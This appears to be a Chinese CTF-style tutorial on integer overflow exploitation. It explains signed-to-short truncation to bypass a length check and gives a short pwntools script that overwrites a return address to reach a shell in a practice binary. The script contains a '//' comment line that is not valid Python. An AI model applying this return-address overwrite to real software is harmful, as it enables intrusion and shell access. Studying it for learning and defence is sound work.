pwn学习(整数溢出)
程序员文章站
2022-03-27 20:41:52
...
整数溢出
请先浏览上述链接
类型 | 字节 | 范围 |
---|---|---|
short int | 2byte | 0~0x7fff 0x8000~0xffff |
unsigned short int | 2byte | 0~0xffff |
int | 4byte | 0~0x7fffffff 0x80000000~0xffffffff |
unsigned int | 4byte | 0~0xffffffff |
long int | 8byte | 0~0x7fffffffffffffff 0x8000000000000000~0xffffffffffffffff |
unsigned long int | 8byte | 0~0xffffffffffffffff |
- 当程序中的数据超过其数据类型的范围事,就会造成溢出,整数类型的溢出则被称为整数溢出
- 当一个数类型为有符号int时,如何判断其为正数或者负数,看最高位,最高位为1,则其为负数,最高位为0,则其为正数
example
老规矩,先checksec
放入IDA分析
需要注意4个点
- 输入的v8原本是无符号整数,在1处转为有符号整数
- 并且其不能大于100
- int16实际为short类型,在2处,将v8的值大数变小数,强制类型转换大范围int类型转为小范围short类型的数
- 在3处,通过read函数读入了8个字节(如果不懂8nLL是什么意思,可以跳转到汇编,直接看汇编)
- 在4处,将读入的a字符串,赋给v7,v7是一个char类型数组,可以通过数组越界来写地址
程序逻辑
- 首先输入一个长度,该长度不能超过100
- 然后输入内容,通过输入的内容直接跳到system(shell)的地址处
- 根据IDA可以看出,v7数组与rbp的偏移是0x60,十进制是96
- ebp是8,所以应该从104开始写shell地址
- 104需要绕过100的限制
- 利用上小节中说的无符号int和有符号int转换,令最高位为1即可
- 并且在int转为short类型时,需要控制最低两个字节,使它们索引到返回地址处。
- 我们可用0x80000068这个长度,换成十进制是2147483752。
编写EXP
from pwn import *
sh = process('./input_6f4254b6f89d07d06813fc8bbcd1a057')
success_add = 0x00000000004007BA
#payload = 'a' * 8 + p64(success_add)
//如果read函数可以读更多字节的话,也可不用绕过100的限制,先覆盖ebp的值,再覆盖返回地址的值
payload = p64(success_add)
print payload
sh.recvuntil("Please input the position:")
sh.sendline("2147483752")
sh.recvuntil("Please input the content:")
sh.sendline(payload)
sh.interactive()
推荐阅读
-
Python学习日记——整数反转
-
Java自动内存管理机制学习(一):Java内存区域与内存溢出异常
-
PHP5.2下chunk_split()函数整数溢出漏洞 分析
-
Protostar栈溢出学习
-
linux kernel pwn学习之hijack prctl
-
[每日一题] 124. 整数反转(数学、溢出判断、样例踩坑题、多方法)
-
java BigInteger大整数类 和 BigDecimal大浮点数类 解决大数问题 常用方法简单学习总结
-
从键盘录入整数, 如果是1 ,打印 "学习java" , 如果是2, 打印"睡觉" , //如果是3,终止程序, 如果是其他数, 继续循环
-
PHP 5 php_sprintf_appendstring() 整数溢出漏洞
-
Kali学习笔记22:缓冲区溢出漏洞利用实验